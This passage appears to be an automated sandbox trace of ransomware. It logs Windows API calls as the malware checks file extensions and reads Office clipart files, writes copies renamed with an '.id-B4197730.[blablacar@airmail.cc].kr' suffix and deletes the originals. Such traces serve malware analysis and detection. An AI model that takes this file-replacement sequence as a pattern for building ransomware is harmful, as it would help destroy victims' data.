(lpString1=".pdf", lpString2=".WMF") returned -1 [0184.994] lstrlenW (lpString=".xls") returned 4 [0184.994] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.994] lstrlenW (lpString=".xlsx") returned 5 [0184.994] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0184.994] lstrlenW (lpString=".ppt") returned 4 [0184.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0184.994] lstrlenW (lpString=".zip") returned 4 [0184.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.994] lstrlenW (lpString=".rar") returned 4 [0184.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.994] lstrlenW (lpString=".bz2") returned 4 [0184.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.994] lstrlenW (lpString=".7z") returned 3 [0184.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0184.994] lstrlenW (lpString=".dbf") returned 4 [0184.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0184.994] lstrlenW (lpString=".1cd") returned 4 [0184.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0184.994] lstrlenW (lpString=".jpg") returned 4 [0184.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.995] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.995] lstrlenW (lpString="CLIP.WMF") returned 8 [0184.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0184.995] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2262) returned 1 [0184.996] CloseHandle (hObject=0x4d8) returned 1 [0184.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 0x220 [0184.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0184.997] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.997] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.998] GetLastError () returned 0x0 [0184.998] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x8d6, lpOverlapped=0x0) returned 1 [0185.000] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x8e0, lpOverlapped=0x0) returned 1 [0185.001] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.001] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xe4, lpOverlapped=0x0) returned 1 [0185.001] SetEndOfFile (hFile=0x53c) returned 1 [0185.001] CloseHandle (hObject=0x53c) returned 1 [0185.001] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.001] SetEndOfFile (hFile=0x4d8) returned 1 [0185.004] CloseHandle (hObject=0x4d8) returned 1 [0185.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 1 [0185.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0185.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0185.165] lstrlenW (lpString=".doc") returned 4 [0185.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.165] lstrlenW (lpString=".docx") returned 5 [0185.165] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0185.165] lstrlenW (lpString=".pdf") returned 4 [0185.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.166] lstrlenW (lpString=".xls") returned 4 [0185.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.166] lstrlenW (lpString=".xlsx") returned 5 [0185.166] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0185.166] lstrlenW (lpString=".ppt") returned 4 [0185.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0185.166] lstrlenW (lpString=".zip") returned 4 [0185.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.166] lstrlenW (lpString=".rar") returned 4 [0185.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.166] lstrlenW (lpString=".bz2") returned 4 [0185.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.166] lstrlenW (lpString=".7z") returned 3 [0185.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0185.166] lstrlenW (lpString=".dbf") returned 4 [0185.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0185.174] lstrlenW (lpString=".1cd") returned 4 [0185.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0185.174] lstrlenW (lpString=".jpg") returned 4 [0185.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0185.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0185.175] lstrlenW (lpString=".doc") returned 4 [0185.175] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.175] lstrlenW (lpString=".docx") returned 5 [0185.175] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0185.175] lstrlenW (lpString=".pdf") returned 4 [0185.175] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.175] lstrlenW (lpString=".xls") returned 4 [0185.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.175] lstrlenW (lpString=".xlsx") returned 5 [0185.175] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0185.175] lstrlenW (lpString=".ppt") returned 4 [0185.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0185.175] lstrlenW (lpString=".zip") returned 4 [0185.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.175] lstrlenW (lpString=".rar") returned 4 [0185.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.175] lstrlenW (lpString=".bz2") returned 4 [0185.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.175] lstrlenW (lpString=".7z") returned 3 [0185.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0185.175] lstrlenW (lpString=".dbf") returned 4 [0185.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0185.175] lstrlenW (lpString=".1cd") returned 4 [0185.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0185.175] lstrlenW (lpString=".jpg") returned 4 [0185.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.176] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0185.176] lstrlenW (lpString="CUPINST.WMF") returned 11 [0185.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0185.910] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10326) returned 1 [0185.910] CloseHandle (hObject=0x4d8) returned 1 [0185.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 0x220 [0185.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0185.910] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.910] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0185.911] GetLastError () returned 0x0 [0185.911] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x2856, lpOverlapped=0x0) returned 1 [0185.913] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2860, lpOverlapped=0x0) returned 1 [0185.914] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.914] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xea, lpOverlapped=0x0) returned 1 [0185.914] SetEndOfFile (hFile=0x4d4) returned 1 [0185.914] CloseHandle (hObject=0x4d4) returned 1 [0185.915] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.915] SetEndOfFile (hFile=0x4d8) returned 1 [0185.918] CloseHandle (hObject=0x4d8) returned 1 [0185.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0185.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0185.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0185.919] lstrlenW (lpString=".doc") returned 4 [0185.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.919] lstrlenW (lpString=".docx") returned 5 [0185.919] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0185.919] lstrlenW (lpString=".pdf") returned 4 [0185.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.919] lstrlenW (lpString=".xls") returned 4 [0185.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.919] lstrlenW (lpString=".xlsx") returned 5 [0185.919] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0185.919] lstrlenW (lpString=".ppt") returned 4 [0185.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0185.919] lstrlenW (lpString=".zip") returned 4 [0185.919] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.919] lstrlenW (lpString=".rar") returned 4 [0185.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.919] lstrlenW (lpString=".bz2") returned 4 [0185.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.919] lstrlenW (lpString=".7z") returned 3 [0185.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0185.919] lstrlenW (lpString=".dbf") returned 4 [0185.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0185.920] lstrlenW (lpString=".1cd") returned 4 [0185.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0185.920] lstrlenW (lpString=".jpg") returned 4 [0185.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0185.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0185.920] lstrlenW (lpString=".doc") returned 4 [0185.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.920] lstrlenW (lpString=".docx") returned 5 [0185.920] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0185.920] lstrlenW (lpString=".pdf") returned 4 [0185.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.920] lstrlenW (lpString=".xls") returned 4 [0185.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.920] lstrlenW (lpString=".xlsx") returned 5 [0185.920] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0185.920] lstrlenW (lpString=".ppt") returned 4 [0185.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0185.920] lstrlenW (lpString=".zip") returned 4 [0185.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.920] lstrlenW (lpString=".rar") returned 4 [0185.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.920] lstrlenW (lpString=".bz2") returned 4 [0185.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.920] lstrlenW (lpString=".7z") returned 3 [0185.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0185.920] lstrlenW (lpString=".dbf") returned 4 [0185.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0185.921] lstrlenW (lpString=".1cd") returned 4 [0185.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0185.921] lstrlenW (lpString=".jpg") returned 4 [0185.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.921] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0185.921] lstrlenW (lpString="DD00261_.WMF") returned 12 [0185.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0185.922] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=37974) returned 1 [0185.922] CloseHandle (hObject=0x4d8) returned 1 [0185.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x220 [0185.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0185.922] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.922] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0185.923] GetLastError () returned 0x0 [0185.923] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x9456, lpOverlapped=0x0) returned 1 [0185.926] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x9460, lpOverlapped=0x0) returned 1 [0185.932] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.933] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.933] SetEndOfFile (hFile=0x4d4) returned 1 [0185.933] CloseHandle (hObject=0x4d4) returned 1 [0185.933] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.933] SetEndOfFile (hFile=0x4d8) returned 1 [0185.936] CloseHandle (hObject=0x4d8) returned 1 [0185.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 1 [0185.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0185.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0185.937] lstrlenW (lpString=".doc") returned 4 [0185.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.937] lstrlenW (lpString=".docx") returned 5 [0185.937] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.937] lstrlenW (lpString=".pdf") returned 4 [0185.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.937] lstrlenW (lpString=".xls") returned 4 [0185.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.937] lstrlenW (lpString=".xlsx") returned 5 [0185.937] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.937] lstrlenW (lpString=".ppt") returned 4 [0185.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0185.938] lstrlenW (lpString=".zip") returned 4 [0185.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.938] lstrlenW (lpString=".rar") returned 4 [0185.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.938] lstrlenW (lpString=".bz2") returned 4 [0185.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.938] lstrlenW (lpString=".7z") returned 3 [0185.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0185.938] lstrlenW (lpString=".dbf") returned 4 [0185.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0185.938] lstrlenW (lpString=".1cd") returned 4 [0185.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0185.938] lstrlenW (lpString=".jpg") returned 4 [0185.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0185.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0185.938] lstrlenW (lpString=".doc") returned 4 [0185.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.938] lstrlenW (lpString=".docx") returned 5 [0185.938] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.938] lstrlenW (lpString=".pdf") returned 4 [0185.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.938] lstrlenW (lpString=".xls") returned 4 [0185.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.938] lstrlenW (lpString=".xlsx") returned 5 [0185.938] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.938] lstrlenW (lpString=".ppt") returned 4 [0185.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.938] lstrlenW (lpString="C:\\Program 